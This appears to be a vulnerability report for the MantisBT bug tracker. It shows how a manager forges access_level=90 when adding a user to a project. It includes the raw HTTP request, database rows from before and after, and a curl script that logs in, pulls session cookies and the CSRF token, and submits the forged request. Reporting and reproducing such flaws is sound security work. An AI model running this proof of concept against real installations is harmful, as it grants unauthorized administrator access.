1. Authenticate as <del>developer</del> manager [EDIT (dregad)].
2. Open the destination project edit page.
3. Observe that the add-user form only offers access levels up to manager (70).
4. Submit the same form with a forged access_level=90.
5. Observe successful redirection.
6. Verify that the target user was added with access level 90.

The normal form only offered access levels up to manager:

<select id="project-add-users-access-level" name="access_level" class="input-sm">
  <option value="10">viewer</option>
  <option value="40">updater</option>
  <option value="55">developer</option>
  <option value="70">manager</option>
</select>

A forged request was then submitted with access_level=90:

POST /manage_proj_user_add.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

manage_proj_user_add_token=20260401_mSZ7rECuRc9aPX7bCSlNiPMMWnqtzLd
&project_id=2
&user_id[]=2
&access_level=90

Observed response:

HTTP/1.1 302 Found
Location: http://127.0.0.1:8082/manage_proj_edit_page.php?project_id=2#project-users

Membership before the request:

2|1|70
2|3|70

Membership after the request:

2|1|70
2|2|90
2|3|70

or curl requests:

export BASE='http://127.0.0.1:8082'

PHPSESSID=$(curl -s -i -X POST "$BASE/login_password_page.php" \
  --data 'return=index.php&username=developer' | \
  rg '^Set-Cookie: PHPSESSID=' | sed -E 's/Set-Cookie: PHPSESSID=([^;]+).*/\1/')

echo "PHPSESSID=$PHPSESSID"

LOGIN_HEADERS=$(mktemp)
curl -s -D "$LOGIN_HEADERS" -o /tmp/issue45-login-body.html \
  -X POST "$BASE/login.php" \
  -H "Cookie: PHPSESSID=$PHPSESSID" \
  --data 'return=index.php&username=developer&password=developer123&secure_session=1' >/dev/null

MANTIS_SEC=$(rg '^Set-Cookie: MANTIS_secure_session=' "$LOGIN_HEADERS" | sed -E 's/Set-Cookie: MANTIS_secure_session=([^;]+).*/\1/')
MANTIS_STR=$(rg '^Set-Cookie: MANTIS_STRING_COOKIE=' "$LOGIN_HEADERS" | sed -E 's/Set-Cookie: MANTIS_STRING_COOKIE=([^;]+).*/\1/')

echo "MANTIS_secure_session=$MANTIS_SEC"
echo "MANTIS_STRING_COOKIE=$MANTIS_STR"

curl -s "$BASE/login_cookie_test.php?return=index.php" \
  -H "Cookie: PHPSESSID=$PHPSESSID; MANTIS_secure_session=$MANTIS_SEC; MANTIS_STRING_COOKIE=$MANTIS_STR" \
  >/dev/null

curl -s "$BASE/manage_proj_edit_page.php?project_id=2" \
  -H "Cookie: PHPSESSID=$PHPSESSID; MANTIS_secure_session=$MANTIS_SEC; MANTIS_STRING_COOKIE=$MANTIS_STR" \
  -o /tmp/issue45-proj2.html

rg 'project-add-users-access-level|manage_proj_user_add_token' /tmp/issue45-proj2.html

TOKEN=$(rg -o 'name="manage_proj_user_add_token" value="[^"]+' /tmp/issue45-proj2.html | sed 's/.*value="//')
echo "TOKEN=$TOKEN"

curl -i "$BASE/manage_proj_user_add.php" \
  -H "Cookie: PHPSESSID=$PHPSESSID; MANTIS_secure_session=$MANTIS_SEC; MANTIS_STRING_COOKIE=$MANTIS_STR" \
  --data "manage_proj_user_add_token=$TOKEN&project_id=2&user_id[]=2&access_level=90"

rg 'project-add-users-access-level|manage_proj_user_add_token' /tmp/issue45-proj2.html